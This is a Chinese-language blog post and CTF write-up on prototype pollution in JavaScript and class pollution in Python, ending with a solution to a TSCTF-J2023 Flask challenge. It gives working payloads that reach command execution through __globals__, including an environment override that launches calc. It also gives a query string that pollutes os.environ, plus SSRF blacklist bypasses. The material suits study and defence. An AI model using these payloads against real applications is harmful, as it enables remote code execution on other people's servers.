【原型鏈汙染】Python與Js

CAP_D發表於2023-11-08

【原型鏈汙染】Python與Js

一、背景

最近在TSCTF的比賽題中遇到了Python的原型鏈汙染題目,所以藉此機會學習一下。說到原型鏈,最多的還是在Js中,所以就一併學習一下。(因為是菜雞所以文章可能的存在一些錯誤,歡迎批評指正)。

二、JS原型鏈簡介

原型是Js程式碼中物件的繼承方式。其實和別的語言的繼承方式類似,只不過這裡將父類稱之為原型。可以在瀏覽器控制檯中測試以下程式碼:

const myObject = {
  city: "BJ",
  greet() {
    console.log(`Greetings from ${this.city}`);
  },
};

myObject.greet();

這是一個普通的訪問物件屬性的示例,程式碼輸出為Greetings from BJ

控制檯中只輸入myObject.就可以看到該類所有的可訪問屬性:

image-20231015223359367

可以看到存在一些我們沒有定義的屬性,這些屬性就是繼承自原型。

當我們訪問一個物件的屬性時,js程式碼會不斷一層層向上尋找原型以及原型的原型,以此類推,最後如果找到的就可以訪問,否則返回undefined。因此稱之為原型鏈

類似於Python,所有的原型鏈存在一個最終的原型:Object.prototype。可以使用以下程式碼訪問一個類的原型:

Object.getPrototypeOf(myObject);

或者

myObject.__proto__

這樣則會返回Object類。同時如果我們訪問Object類的原型,則返回NULL。

還有一個問題:如果類中定義了一個原型中也存在的方法,那麼訪問時遵循什麼原則呢?

執行下面的程式碼:

const myDate = new Date(1995, 11, 17);

console.log(myDate.getYear()); // 95

myDate.getYear = function () {
  console.log("something else!");
};

myDate.getYear(); // 'something else!'

可以看到有限訪問類中存在屬性,這也和其他語言相同。

三、Python中的原型鏈汙染

其實Python中並沒有原型這個概念,但是原型鏈汙染實際上是一種類汙染,就是我們透過輸入從而控制Python類的繼承,從而達到遠端執行等惡意目的,所以這裡模糊將其稱為Python的原型鏈汙染。

3.1 屬性與魔術方法

在利用上,和flask的模板注入類似,需要使用到Python類的一些魔術方法:__str__()__call__()等等。但是因為我們的輸入一般是str或者int型,所以直接在控制原始程式碼時會出現str等型別不能作為類的問題:

class Employee(): pass

a=Employee()

a.__class__='polluted'
print(a.__class__)

上面這段程式碼,嘗試將物件a的類進行汙染,但是會報錯str型別不能作為類。但是a還存在一個屬性__qualname__,用於訪問類的名稱:

class Employee(): pass

a=Employee()

a.__class__.__qualname__='polluted'
print(a.__class__)

透過這樣的操作就可以實現修改a的類。

3.2 透過merge函式汙染

一個標準的原型鏈汙染所用程式碼:

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):  #檢查dst物件是否有__getitem__屬性,如果存在則可以將dst作為字典訪問
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict: #如果目標字典中已經存在該屬性則只複製值
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

這段程式碼的作用是將src字典中的內容遞迴地複製到dst字典中。下面透過這段程式碼進行類的汙染:

class Employee: pass # Creating an empty class

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)


emp_info = {
    "name":"Ahemd",
    "age": 23,
    "manager":{
            "name":"Sarah"
        },
    "__class__":{
            "__qualname__":"Polluted"
        }
    }


a= Employee()
merge(emp_info, a)

print(vars(a)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}
print(a.__class__) #<class '__main__.Polluted'>

這段程式碼中,透過構造__class__屬性中的__qualname__屬性的值,並使用merge函式進行合併,因為Employee類本身具__class__屬性,所以會被覆蓋,實現了對物件a的汙染。因為__class__等屬性並不是Employee類本身的屬性,而是繼承的屬性,所以print(vars(a))並沒有列印出__class__的內容。

同樣,如果我們使用下面的exp就可以實現對父類的汙染:

emp_info = {
    "__class__":{
    	"__base__":{
    	    "__qualname__":"Polluted"
    	}
     }
}

當然,對於不可變型別Object或者str等,Python限制不能對其進行修改。

在這種情況下,如果程式碼中存在一些系統執行指令,並且merge的輸入可控,就會導致系統執行漏洞:

import os

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

class exp:
    def __init__(self,cmd):
        self.cmd=cmd
    def excute(self):
        os.system(self.cmd)

a=exp('1')
b={"cmd":"ping 127.0.0.1"}
merge(b,a)

print(vars(a))
a.excute()

3.3 任意子類的汙染

3.3.1 方法

上面的程式碼雖然實現了命令執行,但是隻是單純地對一個普通類進行了汙染。此時如果我們能找到通向其他類的屬性鏈,就可以汙染程式碼中的任意類,包括重要的一些內建類(例如命令執行類)。

這裡其實和模板注入就非常相似了,我們都知道__globals__屬性用於訪問函式的全域性變數字典,透過這個屬性我們其實就可以實現一些變數的覆蓋。但是我們如何訪問這個屬性呢,這個方法可以從任何已知函式定義的方法中進行訪問。例如:

class A:
    def __init__(self):
        pass

instance=A()
print(instance.__init__.__globals__)

__init__屬性是類中常見的函式,所以可以直接用它來實現訪問__globas__變數。

但是你會說,如果沒有__init__函式怎麼辦呢?這時就需要試試了,可以從基類Object中查詢其子類,總歸存在一個子類是有__init__屬性的。payload:__class__.__base__.__subclasses__()

3.3.2 例項

對於這段程式碼:

import subprocess, json

class Employee:
    def __init__(self):
        pass

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)



emp_info = json.loads('{"__init__":{"__globals__":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value

#
merge(emp_info, Employee())
# a=Employee()
# print(vars(a))
# print(a.__init__.__globals__['subprocess'])

subprocess.Popen('whoami', shell=True) 

在這裡,透過尋找屬性鏈,使用__globals__屬性覆蓋了subprocess的值,使其在cmd中執行了calc命令,實現了彈計算器。為什麼需要找subprocess呢,主要原因還是因為透過這個模組來尋找os模組,這個才是遠端執行的要點,如果程式碼已經import os了,那我們只需要透過__globals__屬性訪問即可。

3.4 透過Pydash函式汙染

Pydash其實和merge函式類似,將在下面TSCTF這題中給出示例。

四、TSCTF-J2023 Python Not Node

題目給了原始碼:

from flask import Flask, request 
import os
import pydash
import urllib.request

app = Flask(__name__)
os.environ['cmd'] = "ping -c 10 www.baidu.com" 
black_list = ['localhost', '127.0.0.1']

class Userinfo:
   def __init__(self): 
       pass
       
class comexec:
   def test_ping(self):
       cmd = os.getenv('cmd') 
       os.system(cmd)
       
@app.route("/define", methods=['GET'])
def define():
   if request.remote_addr == '127.0.0.1':
       if request.method == 'GET':
           print(request.args)
           usname = request.args['username']
           info = request.args['info']
           origin_user = request.args['origin_user']
           user = {usname: info}
           print(type(user))
           pydash.set_with(Userinfo(), origin_user, user, lambda: {}) 
           result = comexec().test_ping()
           return "USER READY,JUST INSERT YOUR SEARCH RESULT"
   else:
       return "NOPE"
       
@app.route("/search", methods=['GET'])
def search():
   if request.method == 'GET':
       urls = request.args['url']
       for i in black_list:
           if i in urls:
               return "HACKER URL!"
       try:
           info = urllib.request.urlopen(urls).read().decode('utf-8') 
           return info
       except Exception as e:
           print(e)
               return "error" 
   else:
       return "Method error"
       
@app.route("/")
def home():
   return "<html> Welcome to this Challenge </html> <script>alert('focus on the 
source code')</script>"

if __name__ == "__main__":
   app.run(debug=True, port=37333, host='0.0.0.0')

這段程式碼兩個考點,一個是SSRF的URL黑名單繞過,一個就是Python的原型鏈洩露。

  • SSRF

    • 常見的方式是8進位制、16進位制、302跳轉等繞過,這些都被遮蔽了,最後題解說是簡單的大小寫繞過。

      但是做題的時候沒想到,所以使用的是localtest.me域名繞過,這是大佬買下的域名,訪問時其實是重定向到本機,這樣的域名還有很多。

    • 還有一個點就是需要url編碼避免引數的混淆解析,因為這裡SSRF的域名也需要新增引數,所以我們要進行url編碼。

  • 原型鏈汙染

    origin_user=__class__.__init__.__globals__.os.environ&info=Polluted
    

    這裡因為已經匯入了os模組,所以可以直接透過__globals__進行訪問。

參考連結

Python原型鏈汙染變體

Abdulrah33m's Blog

相關文章